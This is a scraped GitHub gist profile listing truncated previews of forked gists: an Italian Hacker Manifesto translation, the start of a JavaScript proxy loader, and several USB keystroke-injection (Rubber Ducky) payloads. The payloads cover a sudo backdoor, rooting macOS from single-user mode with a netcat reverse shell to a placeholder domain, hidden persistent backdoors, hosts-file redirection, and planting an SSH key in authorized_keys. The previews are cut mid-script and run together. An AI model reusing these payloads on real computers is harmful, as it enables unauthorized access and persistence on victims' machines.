Skip to content

Instantly share code, notes, and snippets.

View JonnyBanana's full-sized avatar
🔥
Working from SapsLab

Jonny Banana JonnyBanana

🔥
Working from SapsLab
  • SappohSamaWorkshop - Circuit Circus
  • Bologna - Italy
View GitHub Profile
@JonnyBanana
JonnyBanana / The Hacker Manifesto ITA
Created August 10, 2018 23:31 — forked from FiloSottile/La Coscienza di un Hacker
Traduzione in italiano dell'Hacker Manifesto
Questa è una traduzione in italiano del celebre Hacker Manifesto. Tutte quelle
esistenti contengono grossolani errori, perlopiù dovuti ad una carente
comprensione della materia e del periodo, o in ogni caso sono poco fedeli al
contenuto e allo spirito dell'originale. Mi auguro che questa mia traduzione non
soffra degli stessi problemi. Sail strong.
-- FiloSottile
****
Da: Phrack, Volume Uno, Issue 7, Phile 3 of 10
@JonnyBanana
JonnyBanana / m.js
Created April 30, 2018 01:44 — forked from cazala/m.js
var libUrl = null;
var scriptTag = Array.prototype.slice
.call(document.getElementsByTagName("script"))
.filter(x => /\?proxy?/.test(x.src));
if (scriptTag.length > 0) {
libUrl = scriptTag[0].src.split("m.js")[0];
} else {
throw new Error("missing '?proxy' query parameter in your proxy url!");
}
DEFAULT_DELAY 200
ESC
ESC
REM opens task manager for a distraction
REM tell user you are checking memory or somthing
GUI r
STRING taskmgr
ENTER
ALT SPACE
STRING X
DEFAULT_DELAY 200
DELAY 3000
GUI r
STRING cmd
MENU
STRING a
ENTER
LEFT
ENTER
STRING cd %TEMP%
REMPayload originally designed by oXis for Bash Bunny.
REM Bash Bunny Payload page:
REM https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/SudoBackdoor
REM Change example.com to your own domain or listening IP address and 1337 to your own port of choice.
DELAY 2000
GUI space
DELAY 500
ALT F2
DELAY 500
BACKSPACE
REM A simple script for rooting OSX from single user mode.
REM Change mysite.com to your domain name or IP address
REM Change 1337 to your port number
REM Catch the shell with 'nc -l -p 1337'
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/
DELAY 1000
STRING mount -uw /
ENTER
DELAY 2000
STRING mkdir /Library/.hidden
EM A simple script for creating a persistent backdoor on OSX.
REM Change mysite.com to your domain name or IP address
REM Change 1337 to your port number
REM Catch the shell with 'nc -l -p 1337'
REM http://patrickmosca.com/root-a-mac-in-10-seconds-or-less/
DELAY 1000
GUI SPACE
STRING terminal
DELAY 500
ENTER
REM A script to create a local DNS entry in the host file of a mac.
REM change the example.com to any site you want.
REM change the 127.0.0.1 to any ip you want.
DELAY 1000
STRING mount -uw /
ENTER
DELAY 2000
ENTER
STRING nano /private/etc/hosts
ENTER
DELAY 1000
GUI SPACE
STRING terminal
DELAY 1000
ENTER
DELAY 250
STRING say fuck off asshole
ENTER
GUI N
DELAY 250
REM This script adds a ssh public key to the authorized_keys file on a target's mac.
DELAY 1000
COMMAND SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 800
STRING echo 'RSA_PUB_ID' >> ~/.ssh/authorized_keys